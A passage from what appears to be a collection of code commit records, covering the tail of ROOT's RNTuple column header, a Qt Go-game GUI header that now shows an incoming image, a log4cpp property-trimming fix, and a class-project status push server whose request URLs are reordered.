(!fCurrentPage.Contains(clusterIndex)) {\n         MapPage(clusterIndex);\n      }\n      void *src = static_cast<unsigned char *>(fCurrentPage.GetBuffer()) +\n                  (clusterIndex.GetIndex() - fCurrentPage.GetClusterRangeFirst()) * element->GetSize();\n      element->ReadFrom(src, 1);\n   }\n\n   void ReadV(const NTupleSize_t globalIndex, const ClusterSize_t::ValueType count, RColumnElementBase *elemArray) {\n      R__ASSERT(count > 0);\n      if (!fCurrentPage.Contains(globalIndex)) {\n         MapPage(globalIndex);\n      }\n      NTupleSize_t idxInPage = globalIndex - fCurrentPage.GetGlobalRangeFirst();\n\n      void *src = static_cast<unsigned char *>(fCurrentPage.GetBuffer()) + idxInPage * elemArray->GetSize();\n      if (globalIndex + count <= fCurrentPage.GetGlobalRangeLast() + 1) {\n         elemArray->ReadFrom(src, count);\n      } else {\n         ClusterSize_t::ValueType nBatch = fCurrentPage.GetNElements() - idxInPage;\n         elemArray->ReadFrom(src, nBatch);\n         RColumnElementBase elemTail(*elemArray, nBatch);\n         ReadV(globalIndex + nBatch, count - nBatch, &elemTail);\n      }\n   }\n\n   void ReadV(const RClusterIndex &clusterIndex, const ClusterSize_t::ValueType count, RColumnElementBase *elemArray)\n   {\n      if (!fCurrentPage.Contains(clusterIndex)) {\n         MapPage(clusterIndex);\n      }\n      NTupleSize_t idxInPage = clusterIndex.GetIndex() - fCurrentPage.GetClusterRangeFirst();\n\n      void* src = static_cast<unsigned char *>(fCurrentPage.GetBuffer()) + idxInPage * elemArray->GetSize();\n      if (clusterIndex.GetIndex() + count <= fCurrentPage.GetClusterRangeLast() + 1) {\n         elemArray->ReadFrom(src, count);\n      } else {\n         ClusterSize_t::ValueType nBatch = fCurrentPage.GetNElements() - idxInPage;\n         elemArray->ReadFrom(src, nBatch);\n         RColumnElementBase elemTail(*elemArray, nBatch);\n         ReadV(RClusterIndex(clusterIndex.GetClusterId(), clusterIndex.GetIndex() + nBatch), count - nBatch, &elemTail);\n      }\n   }\n\n   template <typename CppT>\n   CppT *Map(const NTupleSize_t globalIndex) {\n      NTupleSize_t nItems;\n      return MapV<CppT>(globalIndex, nItems);\n   }\n\n   template <typename CppT>\n   CppT *Map(const RClusterIndex &clusterIndex) {\n      NTupleSize_t nItems;\n      return MapV<CppT>(clusterIndex, nItems);\n   }\n\n   template <typename CppT>\n   CppT *MapV(const NTupleSize_t globalIndex, NTupleSize_t &nItems) {\n      if (!fCurrentPage.Contains(globalIndex)) {\n         MapPage(globalIndex);\n      }\n      \/\/ +1 to go from 0-based indexing to 1-based number of items\n      nItems = fCurrentPage.GetGlobalRangeLast() - globalIndex + 1;\n      return reinterpret_cast<CppT*>(\n         static_cast<unsigned char *>(fCurrentPage.GetBuffer()) +\n         (globalIndex - fCurrentPage.GetGlobalRangeFirst()) * RColumnElement<CppT>::kSize);\n   }\n\n   template <typename CppT>\n   CppT *MapV(const RClusterIndex &clusterIndex, NTupleSize_t &nItems) {\n      if (!fCurrentPage.Contains(clusterIndex)) {\n         MapPage(clusterIndex);\n      }\n      \/\/ +1 to go from 0-based indexing to 1-based number of items\n      nItems = fCurrentPage.GetClusterRangeLast() - clusterIndex.GetIndex() + 1;\n      return reinterpret_cast<CppT*>(\n         static_cast<unsigned char *>(fCurrentPage.GetBuffer()) +\n         (clusterIndex.GetIndex() - fCurrentPage.GetClusterRangeFirst()) * RColumnElement<CppT>::kSize);\n   }\n\n   NTupleSize_t GetGlobalIndex(const RClusterIndex &clusterIndex) {\n      if (!fCurrentPage.Contains(clusterIndex)) {\n         MapPage(clusterIndex);\n      }\n      return fCurrentPage.GetClusterInfo().GetIndexOffset() + clusterIndex.GetIndex();\n   }\n\n   RClusterIndex GetClusterIndex(NTupleSize_t globalIndex) {\n      if (!fCurrentPage.Contains(globalIndex)) {\n         MapPage(globalIndex);\n      }\n      return RClusterIndex(fCurrentPage.GetClusterInfo().GetId(),\n                           globalIndex - fCurrentPage.GetClusterInfo().GetIndexOffset());\n   }\n\n   \/\/\/ For offset columns only, look at the two adjacent values that define a collection's coordinates\n   void GetCollectionInfo(const NTupleSize_t globalIndex, RClusterIndex *collectionStart, ClusterSize_t *collectionSize)\n   {\n      auto idxStart = (globalIndex == 0) ? 0 : *Map<ClusterSize_t>(globalIndex - 1);\n      auto idxEnd = *Map<ClusterSize_t>(globalIndex);\n      auto selfOffset = fCurrentPage.GetClusterInfo().GetIndexOffset();\n      if (globalIndex == selfOffset) {\n         \/\/ Passed cluster boundary\n         idxStart = 0;\n      }\n      *collectionSize = idxEnd - idxStart;\n      *collectionStart = RClusterIndex(fCurrentPage.GetClusterInfo().GetId(), idxStart);\n   }\n\n   void GetCollectionInfo(const RClusterIndex &clusterIndex,\n                          RClusterIndex *collectionStart, ClusterSize_t *collectionSize)\n   {\n      auto index = clusterIndex.GetIndex();\n      auto idxStart = (index == 0) ? 0 : *Map<ClusterSize_t>(clusterIndex - 1);\n      auto idxEnd = *Map<ClusterSize_t>(clusterIndex);\n      *collectionSize = idxEnd - idxStart;\n      *collectionStart = RClusterIndex(clusterIndex.GetClusterId(), idxStart);\n   }\n\n   \/\/\/ Get the currently active cluster id\n   void GetSwitchInfo(NTupleSize_t globalIndex, RClusterIndex *varIndex, std::uint32_t *tag) {\n      auto varSwitch = Map<RColumnSwitch>(globalIndex);\n      *varIndex = RClusterIndex(fCurrentPage.GetClusterInfo().GetId(), varSwitch->GetIndex());\n      *tag = varSwitch->GetTag();\n   }\n\n   void Flush();\n   void MapPage(const NTupleSize_t index);\n   void MapPage(const RClusterIndex &clusterIndex);\n   NTupleSize_t GetNElements() const { return fNElements; }\n   RColumnElementBase *GetElement() const { return fElement.get(); }\n   const RColumnModel &GetModel() const { return fModel; }\n   std::uint32_t GetIndex() const { return fIndex; }\n   ColumnId_t GetColumnIdSource() const { return fColumnIdSource; }\n   RPageSource *GetPageSource() const { return fPageSource; }\n   RPageStorage::ColumnHandle_t GetHandleSource() const { return fHandleSource; }\n   RPageStorage::ColumnHandle_t GetHandleSink() const { return fHandleSink; }\n   RNTupleVersion GetVersion() const { return RNTupleVersion(); }\n};\n\n} \/\/ namespace Detail\n\n} \/\/ namespace Experimental\n} \/\/ namespace ROOT\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <QMainWindow>\n#include <QFileDialog>\n#include \"Game.hpp\"\n\n#include \"ui_GUI.h\"\n#include \"AugmentedView.hpp\"\n\nclass VirtualView;\n\nnamespace Go_GUI {\n\nclass GUI : public QMainWindow\n{\n    Q_OBJECT\npublic:\n    GUI(QWidget *parent = 0);\n    ~GUI(){};\n\n    void init();\n    void RenderGame(GoBackend::Game game);\n\n\npublic slots:\n    void slot_MenuOpen();\n    void slot_MenuSave();\n    void slot_MenuInfo();\n    void slot_ViewSwitch();\n\npublic slots:\n    void new_image(const QImage image) {\n        printf(\">>> New Image arrived! '%d x %d' <<<\\n\", image.width(), image.height());\n        \/\/if (param){\n        \/\/\taugmented_view->setImage(param);\n        \/\/  augmented_view->rescaleImage(augmented_view->parentWidget()->size());\n        \/\/}\n    }\n\n    void new_game_data(const GoBoard * game_board) {\n        auto current_turn = game_board->MoveNumber();\n        auto current_player = game_board->ToPlay();\n        switch (current_player) {\n            case SG_WHITE:\n                this->findChild<QLabel* >(\"white_basket\")->setPixmap(whitebasket_pixmap);\n                this->findChild<QLabel* >(\"black_basket\")->setPixmap(closedbasket_pixmap);\n                break;\n            case SG_BLACK:\n                this->findChild<QLabel* >(\"white_basket\")->setPixmap(closedbasket_pixmap);\n                this->findChild<QLabel* >(\"black_basket\")->setPixmap(blackbasket_pixmap);\n                break;\n            default:\n                assert(false);\n                break;\n        }\n        \n        auto captured_black_stones = game_board->NumPrisoners(SG_BLACK);\n        auto captured_white_stones = game_board->NumPrisoners(SG_WHITE);\n\n        this->findChild<QLabel* >(\"capturedwhite_label\")->setText(QString::number(captured_white_stones));\n        this->findChild<QLabel* >(\"capturedblack_label\")->setText(QString::number(captured_black_stones));\n\n        printf(\">>> New Game data! <<<\\n\");\n    }\n\n    void closeEvent(QCloseEvent *event);\n\nsignals:\n    void stop_backend_thread();\n\nprivate:\n    Ui::MainWindow ui;\n    VirtualView* virtual_view;\n    AugmentedView* augmented_view;\n    QPixmap whitebasket_pixmap, blackbasket_pixmap, closedbasket_pixmap;\n};\n\n} \/\/ namespace Go_GUI<commit_msg>sets picture if available<commit_after>#pragma once\n\n#include <QMainWindow>\n#include <QFileDialog>\n#include \"Game.hpp\"\n\n#include \"ui_GUI.h\"\n#include \"AugmentedView.hpp\"\n\nclass VirtualView;\n\nnamespace Go_GUI {\n\nclass GUI : public QMainWindow\n{\n    Q_OBJECT\npublic:\n    GUI(QWidget *parent = 0);\n    ~GUI(){};\n\n    void init();\n    void RenderGame(GoBackend::Game game);\n\n\npublic slots:\n    void slot_MenuOpen();\n    void slot_MenuSave();\n    void slot_MenuInfo();\n    void slot_ViewSwitch();\n\npublic slots:\n    void new_image(const QImage image) {\n        printf(\">>> New Image arrived! '%d x %d' <<<\\n\", image.width(), image.height());\n\t\tif (!image.isNull()){\n        \taugmented_view->setImage(image);\n\t\t\taugmented_view->rescaleImage(augmented_view->parentWidget()->size());\n        }\n    }\n\n    void new_game_data(const GoBoard * game_board) {\n        auto current_turn = game_board->MoveNumber();\n        auto current_player = game_board->ToPlay();\n        switch (current_player) {\n            case SG_WHITE:\n                this->findChild<QLabel* >(\"white_basket\")->setPixmap(whitebasket_pixmap);\n                this->findChild<QLabel* >(\"black_basket\")->setPixmap(closedbasket_pixmap);\n                break;\n            case SG_BLACK:\n                this->findChild<QLabel* >(\"white_basket\")->setPixmap(closedbasket_pixmap);\n                this->findChild<QLabel* >(\"black_basket\")->setPixmap(blackbasket_pixmap);\n                break;\n            default:\n                assert(false);\n                break;\n        }\n        \n        auto captured_black_stones = game_board->NumPrisoners(SG_BLACK);\n        auto captured_white_stones = game_board->NumPrisoners(SG_WHITE);\n\n        this->findChild<QLabel* >(\"capturedwhite_label\")->setText(QString::number(captured_white_stones));\n        this->findChild<QLabel* >(\"capturedblack_label\")->setText(QString::number(captured_black_stones));\n\n        printf(\">>> New Game data! <<<\\n\");\n    }\n\n    void closeEvent(QCloseEvent *event);\n\nsignals:\n    void stop_backend_thread();\n\nprivate:\n    Ui::MainWindow ui;\n    VirtualView* virtual_view;\n    AugmentedView* augmented_view;\n    QPixmap whitebasket_pixmap, blackbasket_pixmap, closedbasket_pixmap;\n};\n\n} \/\/ namespace Go_GUI<|endoftext|>"}
{"text":"<commit_before>\/*\n * Properties.cpp\n *\n * Copyright 2002, Log4cpp Project. All rights reserved.\n *\n * See the COPYING file for the terms of usage and distribution.\n *\/\n\n#include \"Properties.hh\"\n#include <cstdlib>\n\nnamespace log4cpp {\n    \n    Properties::Properties() {\n    }\n\n    Properties::~Properties() {\n    }\n\n    void Properties::load(std::istream& in) {\n        clear();\n\n        std::string fullLine, command;\n        std::string leftSide, rightSide;\n        char line[256];\n        std::string::size_type length;\n\n        while (in.getline(line, 256)) {\n            fullLine = line;\n\n            \/* if the line contains a # then it is a comment\n               if we find it anywhere other than the beginning, then we assume \n               there is a command on that line, and it we don't find it at all\n               we assume there is a command on the line (we test for valid \n               command later) if neither is true, we continue with the next line\n            *\/\n            length = fullLine.find('#');\n            if (length == std::string::npos) {\n                command = fullLine;\n            } else if (length > 0) {\n                command = fullLine.substr(0, length);\n            } else {\n                continue;\n            }\n\n            \/\/ check the command and handle it\n            length = command.find('=');\n            if (length != std::string::npos) {\n                leftSide = command.substr(0, length);\n                rightSide = command.substr(length + 1, command.size() - length);\n                _substituteVariables(rightSide);\n            } else {\n                continue;\n            }\n\n            \/* handle the command by determining what object the left side\n               refers to and setting the value given on the right\n               ASSUMPTIONS:  \n               1. first object given  on left side is \"log4j\" or \"log4cpp\"\n               2. all class names on right side are ignored because we\n               probably cannot resolve them anyway.\n            *\/\n\n            \/\/ strip off the \"log4j\" or \"log4cpp\"\n            length = leftSide.find('.');\n            if (leftSide.substr(0, length) == \"log4j\" ||\n                leftSide.substr(0, length) == \"log4cpp\")\n                leftSide = leftSide.substr(length + 1);\n\n            \/\/ add to the map of properties\n            insert(value_type(leftSide, rightSide));\n        }\n    }\n\n    void Properties::save(std::ostream& out) {\n        for(const_iterator i = begin(); i != end(); ++i) {\n            out << (*i).first << \"=\" << (*i).second << std::endl;\n        }\n    }\n    \n    int Properties::getInt(const std::string& property, int defaultValue) {\n        const_iterator key = find(property);\n        return (key == end()) ? defaultValue : std::atoi((*key).second.c_str());\n    }\n\n    bool Properties::getBool(const std::string& property, bool defaultValue) {\n        const_iterator key = find(property);\n        return (key == end()) ? defaultValue : ((*key).second == \"true\");\n    }\n\n    std::string Properties::getString(const std::string& property, \n                                      const char* defaultValue) {\n        const_iterator key = find(property);\n        return (key == end()) ? std::string(defaultValue) : (*key).second;\n    }\n\n    void Properties::_substituteVariables(std::string& value) {\n        std::string result;\n\n        std::string::size_type left = 0;\n        std::string::size_type right = value.find(\"${\", left);\n        if (right == std::string::npos) {\n            \/\/ bail out early for 99% of cases\n            return;\n        }\n\n        while(true) {\n            result += value.substr(left, right - left);\n            if (right == std::string::npos) {\n                break;\n            }\n\n            left = right + 2;\n            right = value.find('}', left);\n            if (right == std::string::npos) {\n                \/\/ no close tag, use string literally\n                result += value.substr(left - 2);\n                break;\n            } else {\n                const std::string key = value.substr(left, right - left);\n                if (key == \"${\") {\n                    result += \"${\";\n                } else {\n                    char* value = std::getenv(key.c_str());\n                    if (value) {\n                        result += value;\n                    } else {\n                        const_iterator it = find(key);\n                        if (it == end()) {\n                            \/\/ not found assume empty;\n                        } else {\n                            result += (*it).second;\n                        }\n                    }\n                }\n                left = right + 1;\n            }\n\n            right = value.find(\"${\", left);\n        }\n\n        value = result;\n    }\n}\n<commit_msg>trim property keys and values. Fixes bug #710164.<commit_after>\/*\n * Properties.cpp\n *\n * Copyright 2002, Log4cpp Project. All rights reserved.\n *\n * See the COPYING file for the terms of usage and distribution.\n *\/\n\n#include \"Properties.hh\"\n#include <cstdlib>\n#include \"StringUtil.hh\"\n\nnamespace log4cpp {\n    \n    Properties::Properties() {\n    }\n\n    Properties::~Properties() {\n    }\n\n    void Properties::load(std::istream& in) {\n        clear();\n\n        std::string fullLine, command;\n        std::string leftSide, rightSide;\n        char line[256];\n        std::string::size_type length;\n\n        while (in.getline(line, 256)) {\n            fullLine = line;\n\n            \/* if the line contains a # then it is a comment\n               if we find it anywhere other than the beginning, then we assume \n               there is a command on that line, and it we don't find it at all\n               we assume there is a command on the line (we test for valid \n               command later) if neither is true, we continue with the next line\n            *\/\n            length = fullLine.find('#');\n            if (length == std::string::npos) {\n                command = fullLine;\n            } else if (length > 0) {\n                command = fullLine.substr(0, length);\n            } else {\n                continue;\n            }\n\n            \/\/ check the command and handle it\n            length = command.find('=');\n            if (length != std::string::npos) {\n                leftSide = StringUtil::trim(command.substr(0, length));\n                rightSide = StringUtil::trim(command.substr(length + 1, command.size() - length));\n                _substituteVariables(rightSide);\n            } else {\n                continue;\n            }\n\n            \/* handle the command by determining what object the left side\n               refers to and setting the value given on the right\n               ASSUMPTIONS:  \n               1. first object given  on left side is \"log4j\" or \"log4cpp\"\n               2. all class names on right side are ignored because we\n               probably cannot resolve them anyway.\n            *\/\n\n            \/\/ strip off the \"log4j\" or \"log4cpp\"\n            length = leftSide.find('.');\n            if (leftSide.substr(0, length) == \"log4j\" ||\n                leftSide.substr(0, length) == \"log4cpp\")\n                leftSide = leftSide.substr(length + 1);\n\n            \/\/ add to the map of properties\n            insert(value_type(leftSide, rightSide));\n        }\n    }\n\n    void Properties::save(std::ostream& out) {\n        for(const_iterator i = begin(); i != end(); ++i) {\n            out << (*i).first << \"=\" << (*i).second << std::endl;\n        }\n    }\n    \n    int Properties::getInt(const std::string& property, int defaultValue) {\n        const_iterator key = find(property);\n        return (key == end()) ? defaultValue : std::atoi((*key).second.c_str());\n    }\n\n    bool Properties::getBool(const std::string& property, bool defaultValue) {\n        const_iterator key = find(property);\n        return (key == end()) ? defaultValue : ((*key).second == \"true\");\n    }\n\n    std::string Properties::getString(const std::string& property, \n                                      const char* defaultValue) {\n        const_iterator key = find(property);\n        return (key == end()) ? std::string(defaultValue) : (*key).second;\n    }\n\n    void Properties::_substituteVariables(std::string& value) {\n        std::string result;\n\n        std::string::size_type left = 0;\n        std::string::size_type right = value.find(\"${\", left);\n        if (right == std::string::npos) {\n            \/\/ bail out early for 99% of cases\n            return;\n        }\n\n        while(true) {\n            result += value.substr(left, right - left);\n            if (right == std::string::npos) {\n                break;\n            }\n\n            left = right + 2;\n            right = value.find('}', left);\n            if (right == std::string::npos) {\n                \/\/ no close tag, use string literally\n                result += value.substr(left - 2);\n                break;\n            } else {\n                const std::string key = value.substr(left, right - left);\n                if (key == \"${\") {\n                    result += \"${\";\n                } else {\n                    char* value = std::getenv(key.c_str());\n                    if (value) {\n                        result += value;\n                    } else {\n                        const_iterator it = find(key);\n                        if (it == end()) {\n                            \/\/ not found assume empty;\n                        } else {\n                            result += (*it).second;\n                        }\n                    }\n                }\n                left = right + 1;\n            }\n\n            right = value.find(\"${\", left);\n        }\n\n        value = result;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  Push Server code for CMPT 276 Group Assignment, Spring 2016.\n\n  This server pushes status updates to all a user’s friends in the network.\n\n  This server supports a single operation: push a status update to all friends\n  of this user.\n\n  This server handles disallowed method malformed request.\n*\/\n\n#include <exception>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <unordered_map>\n#include <utility>\n#include <vector>\n#include <string>\n\n#include <cpprest\/base_uri.h>\n#include <cpprest\/http_listener.h>\n#include <cpprest\/json.h>\n\n#include <pplx\/pplxtasks.h>\n\n#include <was\/common.h>\n#include <was\/storage_account.h>\n#include <was\/table.h>\n\n#include \"..\/include\/TableCache.h\"\n\n#include \"..\/include\/make_unique.h\"\n\n\/\/#include \"..\/include\/azure_keys.h\"\n\n#include \"..\/include\/ServerUtils.h\"\n#include \"..\/include\/ClientUtils.h\"\n\nusing azure::storage::cloud_storage_account;\nusing azure::storage::storage_credentials;\nusing azure::storage::storage_exception;\nusing azure::storage::cloud_table;\nusing azure::storage::cloud_table_client;\nusing azure::storage::edm_type;\nusing azure::storage::entity_property;\nusing azure::storage::table_entity;\nusing azure::storage::table_operation;\nusing azure::storage::table_query;\nusing azure::storage::table_query_iterator;\nusing azure::storage::table_result;\n\nusing pplx::extensibility::critical_section_t;\nusing pplx::extensibility::scoped_critical_section_t;\n\nusing std::cin;\nusing std::cout;\nusing std::endl;\nusing std::getline;\nusing std::make_pair;\nusing std::pair;\nusing std::string;\nusing std::unordered_map;\nusing std::vector;\n\nusing web::http::http_headers;\nusing web::http::http_request;\nusing web::http::methods;\nusing web::http::status_code;\nusing web::http::status_codes;\nusing web::http::uri;\n\nusing web::json::value;\n\nusing web::http::experimental::listener::http_listener;\n\n\/\/using prop_vals_t = vector<pair<string,value>>;\nusing friends_list_t = std::vector<std::pair<std::string,std::string>>;\n\n\nconstexpr const char* basic_url = \"http:\/\/localhost:34568\/\";\nconstexpr const char* def_url = \"http:\/\/localhost:34574\/\";\n\nconst string push_status_op {\"PushStatus\"};\nconst string read_entity_admin {\"ReadEntityAdmin\"};\nconst string update_entity_admin {\"UpdateEntityAdmin\"};\n\nconst string data_table_name {\"DataTable\"};\n\n\/\/TableCache table_cache {};\n\n\n\/\/---------------------------------------------------------------------------------------\n\n\/*\n  Return true if an HTTP request has a JSON body\n\n  This routine can be called multiple times on the same message.\n *\/\nbool has_json_body (http_request message) {\n  return message.headers()[\"Content-type\"] == \"application\/json\";\n}\n\n\/*\n  Given an HTTP message with a JSON body, return the JSON\n  body as an unordered map of strings to strings.\n  get_json_body and get_json_bourne are valid and identical function calls.\n\n  If the message has no JSON body, return an empty map.\n\n  THIS ROUTINE CAN ONLY BE CALLED ONCE FOR A GIVEN MESSAGE\n  (see http:\/\/microsoft.github.io\/cpprestsdk\/classweb_1_1http_1_1http__request.html#ae6c3d7532fe943de75dcc0445456cbc7\n  for source of this limit).\n\n  Note that all types of JSON values are returned as strings.\n  Use C++ conversion utilities to convert to numbers or dates\n  as necessary.\n *\/\nunordered_map<string,string> get_json_body(http_request message) {\n  unordered_map<string,string> results {};\n  const http_headers& headers {message.headers()};\n  auto content_type (headers.find(\"Content-Type\"));\n  if (content_type == headers.end() ||\n      content_type->second != \"application\/json\")\n    return results;\n\n  value json{};\n  message.extract_json(true)\n    .then([&json](value v) -> bool\n          {\n            json = v;\n            return true;\n          })\n    .wait();\n\n  if (json.is_object()) {\n    for (const auto& v : json.as_object()) {\n      if (v.second.is_string()) {\n        results[v.first] = v.second.as_string();\n      }\n      else {\n        results[v.first] = v.second.serialize();\n      }\n    }\n  }\n  return results;\n}\n\nunordered_map<string,string> get_json_bourne(http_request message) {\n return get_json_body(message);\n}\n\n\n\/\/---------------------------------------------------------------------------------------\n\nvoid handle_post (http_request message) {\n  \/\/TODO Not implemented yet!\n  \/\/message.reply(status_codes::NotImplemented);\n  \n  string path {uri::decode(message.relative_uri().path())};\n  cout << endl << \"**** POST \" << path << endl;\n  auto paths = uri::split_path(path);\n\n  \/\/ need operation name, country, username, status = 4\n  if (paths.size() != 4 ) {\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n  \/\/no PushStatus included\n  else if(paths[0] != push_status_op) {\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n  \/\/ no friends body included\n  else if(!has_json_body(message)) {\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n  unordered_map<string, string> json_body {get_json_bourne(message)};\n  unordered_map<string, string>::const_iterator json_body_friends_iterator\n    {json_body.find(\"Friends\")};\n  \/\/no properties or more than one property\n  if(json_body.size() != 1) {\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n  \/\/ No 'Friends' property\n  else if(json_body_friends_iterator == json_body.end()) {\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n\n  if ( json_body_friends_iterator->second.empty() ){\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n  vector<pair<string,string>> friends_list { parse_friends_list(json_body_friends_iterator->second) };\n  string old_updates;\n  string new_updates;\n  pair<status_code,value> result;\n  vector<pair<string,value>> update_property;\n  \n  for ( int i = 0; i < friends_list.size(); i++ ){\n    cout << \"in loop friend # \" << i << endl;\n    \/\/ get properties of entity\n    result = do_request(methods::GET, basic_url \n      + data_table_name + \"\/\" \n      + read_entity_admin + \"\/\" \n      + string(friends_list[i].first) + \"\/\" \n      + string(friends_list[i].second) );\n    \/\/get old updates\n    \n    old_updates = get_json_object_prop(result.second, \"Updates\");\n    cout << \"Old Statuses: \" << old_updates << endl;\n    \n    \/\/add new update\n    new_updates = string(paths[3]) + \"\\n\" + old_updates;\n    update_property.push_back( make_pair(\"Updates\", value::string(new_updates) ) );\n    \/\/update property of friend\n    result = do_request(methods::PUT, basic_url \n      + data_table_name + \"\/\" \n      + update_entity_admin + \"\/\" \n      + string(friends_list[i].first) + \"\/\" \n      + string(friends_list[i].second), value::object(update_property) );\n    \n    update_property.clear();\n    cout << \"Updated Statuses: \" << new_updates << endl;\n  }\n  \n  message.reply(status_codes::OK);\n  return;\n}\n\nint main (int argc, char const * argv[]) {\n  cout << \"Parsing connection string\" << endl;\n  \/\/table_cache.init (storage_connection_string);\n\n  cout << \"Opening listener\" << endl;\n  http_listener listener {def_url};\n  listener.support(methods::POST, &handle_post); \/\/ Push a status update to friends\n  listener.open().wait();\n\n  cout << \"Enter carriage return to stop server.\" << endl;\n  string line;\n  getline(std::cin, line);\n\n  \/\/ Shut it down\n  listener.close().wait();\n  cout << \"Closed\" << endl;\n}\n<commit_msg>update Push Server<commit_after>\/*\n  Push Server code for CMPT 276 Group Assignment, Spring 2016.\n\n  This server pushes status updates to all a user’s friends in the network.\n\n  This server supports a single operation: push a status update to all friends\n  of this user.\n\n  This server handles disallowed method malformed request.\n*\/\n\n#include <exception>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <unordered_map>\n#include <utility>\n#include <vector>\n#include <string>\n\n#include <cpprest\/base_uri.h>\n#include <cpprest\/http_listener.h>\n#include <cpprest\/json.h>\n\n#include <pplx\/pplxtasks.h>\n\n#include <was\/common.h>\n#include <was\/storage_account.h>\n#include <was\/table.h>\n\n#include \"..\/include\/TableCache.h\"\n\n#include \"..\/include\/make_unique.h\"\n\n\/\/#include \"..\/include\/azure_keys.h\"\n\n#include \"..\/include\/ServerUtils.h\"\n#include \"..\/include\/ClientUtils.h\"\n\nusing azure::storage::cloud_storage_account;\nusing azure::storage::storage_credentials;\nusing azure::storage::storage_exception;\nusing azure::storage::cloud_table;\nusing azure::storage::cloud_table_client;\nusing azure::storage::edm_type;\nusing azure::storage::entity_property;\nusing azure::storage::table_entity;\nusing azure::storage::table_operation;\nusing azure::storage::table_query;\nusing azure::storage::table_query_iterator;\nusing azure::storage::table_result;\n\nusing pplx::extensibility::critical_section_t;\nusing pplx::extensibility::scoped_critical_section_t;\n\nusing std::cin;\nusing std::cout;\nusing std::endl;\nusing std::getline;\nusing std::make_pair;\nusing std::pair;\nusing std::string;\nusing std::unordered_map;\nusing std::vector;\n\nusing web::http::http_headers;\nusing web::http::http_request;\nusing web::http::methods;\nusing web::http::status_code;\nusing web::http::status_codes;\nusing web::http::uri;\n\nusing web::json::value;\n\nusing web::http::experimental::listener::http_listener;\n\n\/\/using prop_vals_t = vector<pair<string,value>>;\nusing friends_list_t = std::vector<std::pair<std::string,std::string>>;\n\n\nconstexpr const char* basic_url = \"http:\/\/localhost:34568\/\";\nconstexpr const char* def_url = \"http:\/\/localhost:34574\/\";\n\nconst string push_status_op {\"PushStatus\"};\nconst string read_entity_admin {\"ReadEntityAdmin\"};\nconst string update_entity_admin {\"UpdateEntityAdmin\"};\n\nconst string data_table_name {\"DataTable\"};\n\n\/\/TableCache table_cache {};\n\n\n\/\/---------------------------------------------------------------------------------------\n\n\/*\n  Return true if an HTTP request has a JSON body\n\n  This routine can be called multiple times on the same message.\n *\/\nbool has_json_body (http_request message) {\n  return message.headers()[\"Content-type\"] == \"application\/json\";\n}\n\n\/*\n  Given an HTTP message with a JSON body, return the JSON\n  body as an unordered map of strings to strings.\n  get_json_body and get_json_bourne are valid and identical function calls.\n\n  If the message has no JSON body, return an empty map.\n\n  THIS ROUTINE CAN ONLY BE CALLED ONCE FOR A GIVEN MESSAGE\n  (see http:\/\/microsoft.github.io\/cpprestsdk\/classweb_1_1http_1_1http__request.html#ae6c3d7532fe943de75dcc0445456cbc7\n  for source of this limit).\n\n  Note that all types of JSON values are returned as strings.\n  Use C++ conversion utilities to convert to numbers or dates\n  as necessary.\n *\/\nunordered_map<string,string> get_json_body(http_request message) {\n  unordered_map<string,string> results {};\n  const http_headers& headers {message.headers()};\n  auto content_type (headers.find(\"Content-Type\"));\n  if (content_type == headers.end() ||\n      content_type->second != \"application\/json\")\n    return results;\n\n  value json{};\n  message.extract_json(true)\n    .then([&json](value v) -> bool\n          {\n            json = v;\n            return true;\n          })\n    .wait();\n\n  if (json.is_object()) {\n    for (const auto& v : json.as_object()) {\n      if (v.second.is_string()) {\n        results[v.first] = v.second.as_string();\n      }\n      else {\n        results[v.first] = v.second.serialize();\n      }\n    }\n  }\n  return results;\n}\n\nunordered_map<string,string> get_json_bourne(http_request message) {\n return get_json_body(message);\n}\n\n\n\/\/---------------------------------------------------------------------------------------\n\nvoid handle_post (http_request message) {\n  \/\/TODO Not implemented yet!\n  \/\/message.reply(status_codes::NotImplemented);\n  \n  string path {uri::decode(message.relative_uri().path())};\n  cout << endl << \"**** POST \" << path << endl;\n  auto paths = uri::split_path(path);\n\n  \/\/ need operation name, country, username, status = 4\n  if (paths.size() != 4 ) {\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n  \/\/no PushStatus included\n  else if(paths[0] != push_status_op) {\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n  \/\/ no friends body included\n  else if(!has_json_body(message)) {\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n  unordered_map<string, string> json_body {get_json_bourne(message)};\n  unordered_map<string, string>::const_iterator json_body_friends_iterator\n    {json_body.find(\"Friends\")};\n  \/\/no properties or more than one property\n  if(json_body.size() != 1) {\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n  \/\/ No 'Friends' property\n  else if(json_body_friends_iterator == json_body.end()) {\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n\n  if ( json_body_friends_iterator->second.empty() ){\n    message.reply(status_codes::BadRequest);\n    return;\n  }\n  vector<pair<string,string>> friends_list { parse_friends_list(json_body_friends_iterator->second) };\n  string old_updates;\n  string new_updates;\n  pair<status_code,value> result;\n  vector<pair<string,value>> update_property;\n  \n  for ( int i = 0; i < friends_list.size(); i++ ){\n    cout << \"in loop friend # \" << i << endl;\n    \/\/ get properties of entity\n    result = do_request(methods::GET, basic_url \n      + read_entity_admin + \"\/\" \n      + data_table_name + \"\/\" \n      + string(friends_list[i].first) + \"\/\" \n      + string(friends_list[i].second) );\n\n    \/\/get old updates\n    \n    old_updates = get_json_object_prop(result.second, \"Updates\");\n    cout << \"Old Statuses: \" << old_updates << endl;\n    \n    \/\/add new update\n    new_updates = string(paths[3]) + \"\\n\" + old_updates;\n    update_property.push_back( make_pair(\"Updates\", value::string(new_updates) ) );\n    \/\/update property of friend\n    result = do_request(methods::PUT, basic_url \n      + update_entity_admin + \"\/\" \n      + data_table_name + \"\/\" \n      + string(friends_list[i].first) + \"\/\" \n      + string(friends_list[i].second), value::object(update_property) );\n    \n    update_property.clear();\n    cout << \"Updated Statuses: \" << new_updates << endl;\n  }\n  \n  message.reply(status_codes::OK);\n  return;\n}\n\nint main (int 